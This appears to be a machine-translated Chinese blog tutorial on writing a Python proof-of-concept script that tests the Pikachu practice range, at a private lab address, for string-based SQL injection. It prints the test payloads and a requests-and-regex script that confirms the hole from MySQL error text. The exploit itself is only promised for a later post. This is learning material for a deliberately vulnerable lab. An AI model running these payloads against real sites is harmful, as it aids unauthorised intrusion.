当前位置:网站首页>Pikachu character injection for Day1 POC and exp learning
Pikachu character injection for Day1 POC and exp learning
2022-07-21 20:53:00 【Try to be a big man M0_ sixty-eight million seventy-four thousa】
day1 poc And exp learning pikachu Character injection
Before learning , First of all, we have to deal with python The basic grammar of requests as well as re The two modules have a certain understanding and foundation , And right poc,exp,http Knowledge about .( The editor is also learning , Please bear with me and give me advice if there is something wrong QAQ)
requests And re
poc still exp The compilation and use of are inseparable from these two python library .
requests: simulation Web Requests and corresponding interactive actions . That is, contracting
re: Regular expressions , It is used to verify whether the information of the returned package conforms to the characteristics of the vulnerability , So as to confirm whether the vulnerability exists .
The specific use >>requests>>re
poc And exp
poc And exp The difference is destructive .poc(proof of concept) It means to prove the point , That is to verify whether the vulnerability exists .exp(exploit) Intentional vulnerability exploitation , Used to exploit vulnerabilities .
pikachu-sql Character injection
The shooting range is used here pikachu As an example , To write simple poc And exp.
Digging holes
First, exploit the vulnerability, and then write it according to the process of vulnerability mining and utilization poc And exp. Since the vulnerability here is obvious, I won't go into details . Just start writing poc
poc
The first is the verification of vulnerabilities , Judge whether it exists sql Injection point .
1. Variable
First of all, we need to confirm the sent http Package content variables
url = "http://192.168.110.131/pikachu-master/vul/sqli/sqli_str.php" # To verify the injection point url
name = ["' and 1=1 #","'"] # test payload
head = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "} # Customize http baotou
for i in range(2):
sqlname = {
"name": name[i], "submit": " Inquire about "} # Injection parameters
2. send out http package
for i in range(2):
sqlname = {
"name": name[i], "submit": " Inquire about "} # Injection parameters
res = requests.get(url=url, headers=head, params=sqlname) # launch get request
3. Whether there are loopholes
According to the contents of the corresponding package , Perform regular matching to confirm whether there is a vulnerability .
for i in range(2):
sqlname = {
"name": name[i], "submit": " Inquire about "} # Injection parameters
res = requests.get(url=url, headers=head, params=sqlname) # launch get request
if i==0 and re.findall(" What you entered username non-existent , Please re-enter !",res.text):# Judge whether it is executed correctly
x = 1
#print(x)
if i==1 and re.findall("You have an error in your SQL syntax;",res.text):# Determine whether the wrong execution
x += 1
#print(x)
if x==2:
print(" There is an injection vulnerability !")
Run validation
Complete code :
import re
import requests
url = "http://192.168.110.131/pikachu-master/vul/sqli/sqli_str.php" # To verify the injection point url
name = ["' and 1=1 #","'"] # test payload
head = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "} # Customize http baotou
for i in range(2):
sqlname = {
"name": name[i], "submit": " Inquire about "} # Injection parameters
res = requests.get(url=url, headers=head, params=sqlname) # launch get request
if i==0 and re.findall(" What you entered username non-existent , Please re-enter !",res.text):
x = 1
#print(x)
if i==1 and re.findall("You have an error in your SQL syntax;",res.text):
x += 1
#print(x)
if x==2:
print(" There is an injection vulnerability !")
Next issue is the exploitation of loopholes , Conduct exp Compiling ~~
边栏推荐
- BUUCTF n1book [第二章 web进阶]文件上传
- 自定义获取请求参数类 GET POST
- COMSOL heat conduction method to solve maze problem (path planning)
- 使用nodemon工具使Nodejs服务器自动重启
- First Working Day~
- thinkphp5.1 利用 PHPMailer 发送邮件
- 攻防世界web区 难度等级:3(ics-05,MFW,easytornado)
- PHP implements bidirectional linked list
- Web server / client setup (nodejs starts exe program)
- 【文件上传绕过】--二次渲染
猜你喜欢
随机推荐
Getting started with mobile security
Thinkphp6 learning experience
How is redis different from memcached
ECSHOP vulnerability recurrence
攻防世界web区 难度等级:2(upload1,web2,Web_php_include,supersqli,warmup)
php(tp框架)使用阿里云OSS存储
【逆向分析】恶意代码静态分析
DVWA[SQL-Injection(Blind)]学习记录
BUUCTF [SUCTF 2019]EasySQL
Nodejs+Express使用 cors 中间件解决跨域问题
Large file download solution
【极客大挑战 2019】Easy,Love,Baby-SQL
Thinkphp6 uses easywechat5 X official account development (II)
From going to IOE to cipu, cloud computing in China should go its own way
DWVA[SQL-Injection]学习记录
thinkphp5.1 利用 PHPMailer 发送邮件
宽字节注入学习记录
JS将16进制颜色转为rgba格式
Oh my Zsh efficiency plug-in
yar 框架 实现 rpc